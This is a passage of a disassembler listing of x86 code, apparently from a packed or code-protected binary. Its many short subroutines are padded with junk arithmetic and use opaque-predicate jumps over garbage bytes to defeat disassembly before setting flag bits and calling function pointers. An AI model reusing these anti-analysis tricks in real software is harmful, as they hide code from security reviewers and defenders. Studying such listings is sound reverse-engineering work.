XREF: sub_4A0F6F:loc_4A0FBCj dec dl dec dl sub dl, 3 sub dl, 0FFh dec dl inc dl inc dl inc dl jo short loc_4A0FDE jl short loc_4A0FDC loc_4A0FD9: ; CODE XREF: sub_4A0F6F:loc_4A0FDCj ; sub_4A0F6F:loc_4A0FDEj jmp short loc_4A0FE0 ; --------------------------------------------------------------------------- db 0B9h ; --------------------------------------------------------------------------- loc_4A0FDC: ; CODE XREF: sub_4A0F6F+68j jz short loc_4A0FD9 loc_4A0FDE: ; CODE XREF: sub_4A0F6F+66j jmp short loc_4A0FD9 ; --------------------------------------------------------------------------- loc_4A0FE0: ; CODE XREF: sub_4A0F6F:loc_4A0FD9j and al, dl pop edx mov [ebp+var_C], eax mov ecx, dword_4ED410 xor ecx, dword_4ED414 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A1006 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A1006: ; CODE XREF: sub_4A0F6F+8Cj mov eax, [ebp+var_8] push eax call off_4F1D68 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A0F6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A101A proc near ; DATA XREF: sub_4965D8+13EFo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D7C add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ecx mov ecx, 800h mov ecx, 4Bh not ecx bswap eax not ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx dec ecx inc ecx inc cl inc cl inc cl add ecx, 0Dh inc cl inc cl inc cl inc cl inc cl add ecx, 0Ah dec ecx push edx mov edx, 4 add ecx, edx inc ecx pop edx bswap eax add ecx, 3 and eax, ecx pop ecx neg eax sbb eax, eax inc eax pop edx push eax mov eax, [ebp+var_4] mov edx, 0E00h sub dh, 1 dec dh dec dh dec dh dec dh dec dh and eax, edx neg eax sbb eax, eax inc eax mov edx, eax pop eax xor ecx, ecx cmp eax, edx setz cl mov al, cl mov [ebp+var_C], eax mov ecx, dword_4ED3AC xor ecx, dword_4ED3B0 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A10D3 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A10D3: ; CODE XREF: sub_4A101A+AEj mov eax, [ebp+var_8] push eax call off_4F1D04 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A101A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A10E7 proc near ; DATA XREF: sub_4965D8+B6Fo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D94 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, [ebp+arg_4] mov edx, 0FFFFh and eax, edx push ebx push eax dec bh ja short $+2 dec bh dec bh dec bh and eax, 41h bswap ecx jo short loc_4A1128 jl short loc_4A1126 loc_4A1123: ; CODE XREF: sub_4A10E7:loc_4A1126j ; sub_4A10E7:loc_4A1128j jmp short loc_4A112A ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4A1126: ; CODE XREF: sub_4A10E7+3Aj jz short loc_4A1123 loc_4A1128: ; CODE XREF: sub_4A10E7+38j jmp short loc_4A1123 ; --------------------------------------------------------------------------- loc_4A112A: ; CODE XREF: sub_4A10E7:loc_4A1123j and eax, 0 jno short $+2 mov bl, 85h sub bl, 20h dec bl dec bl sub bl, 1Ah dec bl sub bl, 1Fh not bx jo short loc_4A114C jl short loc_4A114A loc_4A1147: ; CODE XREF: sub_4A10E7:loc_4A114Aj ; sub_4A10E7:loc_4A114Cj jmp short loc_4A114E ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4A114A: ; CODE XREF: sub_4A10E7+5Ej jz short loc_4A1147 loc_4A114C: ; CODE XREF: sub_4A10E7+5Cj jmp short loc_4A1147 ; --------------------------------------------------------------------------- loc_4A114E: ; CODE XREF: sub_4A10E7:loc_4A1147j inc eax dec bl dec bl dec bl pop ebx mov [ebp+var_C], eax mov ecx, dword_4ED3C4 xor ecx, dword_4ED3C8 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A1179 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A1179: ; CODE XREF: sub_4A10E7+87j mov eax, [ebp+var_8] push eax call off_4F1D1C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A10E7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A118D proc near ; DATA XREF: sub_4965D8+F3Do var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DB4 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] jo short loc_4A11B2 jl short loc_4A11B0 loc_4A11AD: ; CODE XREF: sub_4A118D:loc_4A11B0j ; sub_4A118D:loc_4A11B2j jmp short loc_4A11B4 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4A11B0: ; CODE XREF: sub_4A118D+1Ej jz short loc_4A11AD loc_4A11B2: ; CODE XREF: sub_4A118D+1Cj jmp short loc_4A11AD ; --------------------------------------------------------------------------- loc_4A11B4: ; CODE XREF: sub_4A118D:loc_4A11ADj push edx mov dh, 2 jo short loc_4A11C0 jl short loc_4A11BE loc_4A11BB: ; CODE XREF: sub_4A118D:loc_4A11BEj ; sub_4A118D:loc_4A11C0j jmp short loc_4A11C2 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4A11BE: ; CODE XREF: sub_4A118D+2Cj jz short loc_4A11BB loc_4A11C0: ; CODE XREF: sub_4A118D+2Aj jmp short loc_4A11BB ; --------------------------------------------------------------------------- loc_4A11C2: ; CODE XREF: sub_4A118D:loc_4A11BBj dec dh dec dh and ah, dh mov dl, 1 and al, dl not ah not ah pop edx neg eax sbb eax, eax inc eax mov [ebp+var_C], eax mov ecx, dword_4ED3E4 xor ecx, dword_4ED3E8 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A11F9 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A11F9: ; CODE XREF: sub_4A118D+61j mov eax, [ebp+var_8] push eax call off_4F1D3C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A118D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A120D proc near ; DATA XREF: sub_4965D8+AD0o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DD0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ecx bswap ecx not ecx push eax not eax mov eax, 80h xchg eax, ecx mov ecx, 1 xchg eax, ecx not eax pop eax not ecx pop ecx push edx mov dh, 16h sub dh, 6 not ecx dec dh dec dh dec dh dec dh bswap eax dec dh dec dh sub dh, 5 sub dh, 3 dec dh dec dh bswap eax and ah, dh mov dl, 9 dec dl dec dl dec dl dec dl not ecx dec dl dec dl dec dl inc dl dec dl inc dl dec dl inc dl inc dl dec dl dec dl dec dl dec dl add dl, 1 and al, dl not ah bswap eax bswap eax not ah pop edx neg eax sbb eax, eax inc eax mov [ebp+var_C], eax mov ecx, dword_4ED400 xor ecx, dword_4ED404 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A12C3 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A12C3: ; CODE XREF: sub_4A120D+ABj mov eax, [ebp+var_8] push eax call off_4F1D58 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A120D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A12D7 proc near ; DATA XREF: sub_4965D8+137Do var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DC0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 80h jmp short loc_4A1300 ; --------------------------------------------------------------------------- mov ebx, 4 loc_4A1300: ; CODE XREF: sub_4A12D7+22j mov ebx, 32h not ebx bswap eax not ebx inc ebx inc ebx add ebx, 8 dec ebx push ecx mov ecx, 4 add ebx, ecx inc ebx pop ecx bswap eax and eax, ebx pop ebx neg eax sbb eax, eax neg eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3F0 xor ecx, dword_4ED3F4 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A134A mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A134A: ; CODE XREF: sub_4A12D7+68j mov eax, [ebp+var_8] push eax call off_4F1D48 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A12D7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A135E proc near ; DATA XREF: sub_4965D8+10D5o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DC8 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, [ebp+arg_4] mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Dh dec ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 7 dec ch dec ch and ah, ch mov cl, 70h sub cl, 2 not cl bswap edx not cl bswap edx dec cl dec cl push eax dec cl dec cl sub cl, 12h dec cl jo short loc_4A13C1 jl short loc_4A13BF loc_4A13BC: ; CODE XREF: sub_4A135E:loc_4A13BFj ; sub_4A135E:loc_4A13C1j jmp short loc_4A13C3 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4A13BF: ; CODE XREF: sub_4A135E+5Cj jz short loc_4A13BC loc_4A13C1: ; CODE XREF: sub_4A135E+5Aj jmp short loc_4A13BC ; --------------------------------------------------------------------------- loc_4A13C3: ; CODE XREF: sub_4A135E:loc_4A13BCj dec cl and eax, 40h add cl, 0Eh dec cl dec cl and eax, 800h sub cl, 1Fh dec cl dec cl dec cl not ecx bswap eax not ecx bswap eax pop eax and al, cl mov eax, eax pop ecx pop ebx test eax, eax jnz loc_4A149E mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 8 dec bh dec bh dec bh dec bh dec bh dec bh dec bh dec bh and eax, 800h bswap ecx pop eax bswap ecx and ah, bh mov bl, 98h sub bl, 5 dec bl dec bl dec bl dec bl dec bl dec edi inc esi dec bl dec bl sub bl, 0Ch not bx bswap eax not bx bswap eax and al, bl mov eax, eax pop ebx neg eax sbb eax, eax inc eax pop edx mov ecx, eax push ecx mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx push 4 pop ecx dec cl dec cl dec cl dec cl and al, cl mov bh, 0Fh and bl, 0 dec bh sub bh, 3 dec bh sub bh, 1 dec bh and ah, bh pop ecx pop ebx test eax, eax jz short loc_4A1489 not eax add eax, 1 stc jmp short loc_4A148F ; --------------------------------------------------------------------------- loc_4A1489: ; CODE XREF: sub_4A135E+121j not eax add eax, 1 clc loc_4A148F: ; CODE XREF: sub_4A135E+129j sbb eax, eax add eax, 1 pop ecx cmp ecx, eax jnz short loc_4A149E and eax, 0 jmp short loc_4A14A2 ; --------------------------------------------------------------------------- loc_4A149E: ; CODE XREF: sub_4A135E+90j ; sub_4A135E+139j and eax, 0 inc eax loc_4A14A2: ; CODE XREF: sub_4A135E+13Ej mov [ebp+var_C], eax mov ecx, dword_4ED3F8 xor ecx, dword_4ED3FC shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A14C5 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A14C5: ; CODE XREF: sub_4A135E+15Cj mov eax, [ebp+var_8] push eax call off_4F1D50 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A135E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A14D9 proc near ; DATA XREF: sub_4965D8+14FFo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DEC add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 0Dh pop ebx jo short loc_4A150C jl short loc_4A150A loc_4A1505: ; CODE XREF: sub_4A14D9:loc_4A150Aj ; sub_4A14D9:loc_4A150Cj jmp short loc_4A150E ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_4A150A: ; CODE XREF: sub_4A14D9+2Aj jz short loc_4A1505 loc_4A150C: ; CODE XREF: sub_4A14D9+28j jmp short loc_4A1505 ; --------------------------------------------------------------------------- loc_4A150E: ; CODE XREF: sub_4A14D9:loc_4A1505j sub bl, 5 dec bl push eax dec bl dec bl and eax, 41h dec bl sub bl, 3 pop eax dec bl and al, bl mov edx, 2500h dec dh sub dh, 3 dec dh sub dh, 17h dec dh and ah, dh pop ebx pop edx neg eax sbb eax, eax inc eax mov [ebp+var_C], eax mov ecx, dword_4ED41C xor ecx, dword_4ED420 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A1562 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A1562: ; CODE XREF: sub_4A14D9+7Ej mov eax, [ebp+var_8] push eax call off_4F1D74 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A14D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A1576 proc near ; DATA XREF: sub_4965D8+15F8o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DD0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 4 dec ch sub ch, 3 dec ch and ah, ch mov cl, 0AEh sub cl, 2 dec cl dec cl sub cl, 6 not al bswap ecx not al bswap ecx dec cl dec cl sub cl, 10h dec cl dec cl add cl, 0Ch dec cl dec cl dec cl dec cl dec cl dec cl sub cl, 10h sub cl, 1 dec cl dec cl dec cl dec cl dec cl dec cl dec cl dec cl not ecx bswap eax not ecx bswap eax inc cl add cl, 2 and al, cl mov eax, eax pop ecx neg eax sbb eax, eax inc eax pop ebx push eax mov eax, [ebp+var_4] mov edx, 200h inc dh inc dh dec dh inc dh inc dh inc dh inc dh inc dh and eax, edx neg eax sbb eax, eax inc eax mov edx, eax pop eax xor ecx, ecx cmp eax, edx setz cl mov al, cl mov [ebp+var_C], eax mov ecx, dword_4ED400 xor ecx, dword_4ED404 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A165E mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A165E: ; CODE XREF: sub_4A1576+DDj mov eax, [ebp+var_8] push eax call off_4F1D58 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A1576 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A1672 proc near ; DATA XREF: sub_4965D8+1C8o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DA4 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 21h pop ebx jo short loc_4A16A5 jl short loc_4A16A3 loc_4A169E: ; CODE XREF: sub_4A1672:loc_4A16A3j ; sub_4A1672:loc_4A16A5j jmp short loc_4A16A7 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_4A16A3: ; CODE XREF: sub_4A1672+2Aj jz short loc_4A169E loc_4A16A5: ; CODE XREF: sub_4A1672+28j jmp short loc_4A169E ; --------------------------------------------------------------------------- loc_4A16A7: ; CODE XREF: sub_4A1672:loc_4A169Ej sub bl, 5 dec bl sub bl, 2 push eax dec bl dec bl jo short loc_4A16BF jl short loc_4A16BD loc_4A16B8: ; CODE XREF: sub_4A1672:loc_4A16BDj ; sub_4A1672:loc_4A16BFj jmp short loc_4A16C1 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_4A16BD: ; CODE XREF: sub_4A1672+44j jz short loc_4A16B8 loc_4A16BF: ; CODE XREF: sub_4A1672+42j jmp short loc_4A16B8 ; --------------------------------------------------------------------------- loc_4A16C1: ; CODE XREF: sub_4A1672:loc_4A16B8j and eax, 40h dec bl sub bl, 12h sub bl, 3 pop eax dec bl and al, bl mov edx, 1100h sub dh, 1 dec dh sub dh, 7 and ah, dh pop ebx pop edx neg eax sbb eax, eax inc eax dec eax jo short loc_4A16F3 jl short loc_4A16F1 loc_4A16EC: ; CODE XREF: sub_4A1672:loc_4A16F1j ; sub_4A1672:loc_4A16F3j jmp short loc_4A16F5 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_4A16F1: ; CODE XREF: sub_4A1672+78j jz short loc_4A16EC loc_4A16F3: ; CODE XREF: sub_4A1672+76j jmp short loc_4A16EC ; --------------------------------------------------------------------------- loc_4A16F5: ; CODE XREF: sub_4A1672:loc_4A16ECj inc eax dec eax jo short loc_4A1702 jl short loc_4A1700 loc_4A16FB: ; CODE XREF: sub_4A1672:loc_4A1700j ; sub_4A1672:loc_4A1702j jmp short loc_4A1704 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_4A1700: ; CODE XREF: sub_4A1672+87j jz short loc_4A16FB loc_4A1702: ; CODE XREF: sub_4A1672+85j jmp short loc_4A16FB ; --------------------------------------------------------------------------- loc_4A1704: ; CODE XREF: sub_4A1672:loc_4A16FBj inc eax dec eax inc eax dec eax jo short loc_4A1711 jl short loc_4A170F loc_4A170C: ; CODE XREF: sub_4A1672:loc_4A170Fj ; sub_4A1672:loc_4A1711j jmp short loc_4A1713 ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_4A170F: ; CODE XREF: sub_4A1672+98j jz short loc_4A170C loc_4A1711: ; CODE XREF: sub_4A1672+96j jmp short loc_4A170C ; --------------------------------------------------------------------------- loc_4A1713: ; CODE XREF: sub_4A1672:loc_4A170Cj inc eax mov [ebp+var_C], eax mov ecx, dword_4ED3D4 xor ecx, dword_4ED3D8 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A1737 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A1737: ; CODE XREF: sub_4A1672+BAj mov eax, [ebp+var_8] push eax call off_4F1D2C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A1672 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A174B proc near ; DATA XREF: sub_4965D8+AFDo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D9C add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ecx mov ecx, 800h mov ecx, 4Ch not ecx bswap eax not ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx dec ecx inc ecx inc cl inc cl inc cl add ecx, 0Bh inc cl inc cl inc cl inc cl inc cl add cl, 2 add ecx, 0Ah dec ecx push edx mov edx, 4 add ecx, edx inc ecx pop edx bswap eax add ecx, 3 and eax, ecx pop ecx neg eax sbb eax, eax neg eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3CC xor ecx, dword_4ED3D0 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A17DE mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A17DE: ; CODE XREF: sub_4A174B+88j mov eax, [ebp+var_8] push eax call off_4F1D24 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A174B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A17F2 proc near ; DATA XREF: sub_4965D8+DBCo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DA0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov dh, 7 dec dh sub dh, 2 and dh, 0 and ah, dh mov dl, 4 dec dl sub dl, 2 inc dl dec dl inc dl dec dl inc dl dec dl inc dl inc dl dec dl dec dl sub dl, 0FFh dec dl and al, dl pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3D0 xor ecx, dword_4ED3D4 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A1861 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A1861: ; CODE XREF: sub_4A17F2+64j mov eax, [ebp+var_8] push eax call off_4F1D28 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A17F2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A1875 proc near ; DATA XREF: sub_4965D8+E00o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DA4 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 0Eh dec bh dec bh dec bh dec bh dec bh dec bh dec bh dec bh dec bh dec bh dec bh dec bh dec bh dec bh and eax, 800h bswap ecx pop eax bswap ecx and ah, bh mov bl, 85h sub bl, 7 dec bl dec bl dec bl sub bl, 1Ah dec bl sub bl, 1Fh not bx bswap eax not bx bswap eax and al, bl mov eax, eax pop ebx neg eax sbb eax, eax neg eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3D4 xor ecx, dword_4ED3D8 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A1911 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A1911: ; CODE XREF: sub_4A1875+91j mov eax, [ebp+var_8] push eax call off_4F1D2C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A1875 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A1925 proc near ; DATA XREF: sub_4965D8+9C0o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DBC add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 7 dec bh dec bh dec bh dec bh dec bh dec bh dec bh and eax, 800h bswap ecx pop eax bswap ecx and ah, bh mov bl, 87h sub bl, 5 dec bl dec bl dec bl dec bl dec bl dec bl dec bl sub bl, 1Ah dec bl sub bl, 1Fh not bx bswap eax not bx bswap eax and al, bl mov eax, eax pop ebx neg eax sbb eax, eax neg eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3EC xor ecx, dword_4ED3F0 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A19BB mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A19BB: ; CODE XREF: sub_4A1925+8Bj mov eax, [ebp+var_8] push eax call off_4F1D44 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A1925 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A19CF proc near ; DATA XREF: sub_4965D8+BB3o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DC0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 7 dec bh dec bh dec bh dec bh dec bh dec bh dec bh and eax, 800h bswap ecx pop eax bswap ecx and ah, bh mov bl, 87h sub bl, 5 dec bl dec bl dec bl and eax, 0 inc eax dec bl dec bl sub bl, 1Ah dec bl dec bl sub bl, 1Fh not bx bswap eax not bx bswap eax mov eax, eax pop ebx mov [ebp+var_C], eax mov ecx, dword_4ED3F0 xor ecx, dword_4ED3F4 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A1A5E mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A1A5E: ; CODE XREF: sub_4A19CF+84j mov eax, [ebp+var_8] push eax call off_4F1D48 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A19CF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A1A72 proc near ; DATA XREF: sub_4965D8+BE0o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DE8 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 4 dec ch sub ch, 3 dec ch and ah, ch mov cl, 0AFh sub cl, 2 dec cl dec cl dec cl sub cl, 6 not al bswap ecx not al bswap ecx dec cl dec cl sub cl, 10h dec cl dec cl add cl, 0Ch dec cl dec cl dec cl dec cl dec cl dec cl sub cl, 10h sub cl, 1 dec cl dec cl dec cl sub cl, 3 dec cl dec cl not ecx bswap eax not ecx bswap eax inc cl add cl, 2 and al, cl mov eax, eax pop ecx neg eax sbb eax, eax inc eax pop ebx push eax mov eax, [ebp+var_4] mov edx, 1400h inc dh dec dh inc dh sub dh, 10h inc dh inc dh inc dh and eax, edx neg eax sbb eax, eax inc eax mov edx, eax pop eax xor ecx, ecx jo short loc_4A1B37 jl short loc_4A1B35 loc_4A1B32: ; CODE XREF: sub_4A1A72:loc_4A1B35j ; sub_4A1A72:loc_4A1B37j jmp short loc_4A1B39 ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_4A1B35: ; CODE XREF: sub_4A1A72+BEj jz short loc_4A1B32 loc_4A1B37: ; CODE XREF: sub_4A1A72+BCj jmp short loc_4A1B32 ; --------------------------------------------------------------------------- loc_4A1B39: ; CODE XREF: sub_4A1A72:loc_4A1B32j cmp eax, edx jz short loc_4A1B50 jo short loc_4A1B48 jl short loc_4A1B46 loc_4A1B41: ; CODE XREF: sub_4A1A72:loc_4A1B46j ; sub_4A1A72:loc_4A1B48j jmp short loc_4A1B4A ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_4A1B46: ; CODE XREF: sub_4A1A72+CDj jz short loc_4A1B41 loc_4A1B48: ; CODE XREF: sub_4A1A72+CBj jmp short loc_4A1B41 ; --------------------------------------------------------------------------- loc_4A1B4A: ; CODE XREF: sub_4A1A72:loc_4A1B41j and eax, 0 inc eax jmp short loc_4A1B53 ; --------------------------------------------------------------------------- loc_4A1B50: ; CODE XREF: sub_4A1A72+C9j and eax, 0 loc_4A1B53: ; CODE XREF: sub_4A1A72+DCj mov [ebp+var_C], eax mov ecx, dword_4ED418 xor ecx, dword_4ED41C shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A1B76 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A1B76: ; CODE XREF: sub_4A1A72+F9j mov eax, [ebp+var_8] push eax call off_4F1D70 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A1A72 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A1B8A proc near ; DATA XREF: sub_4965D8+E17o 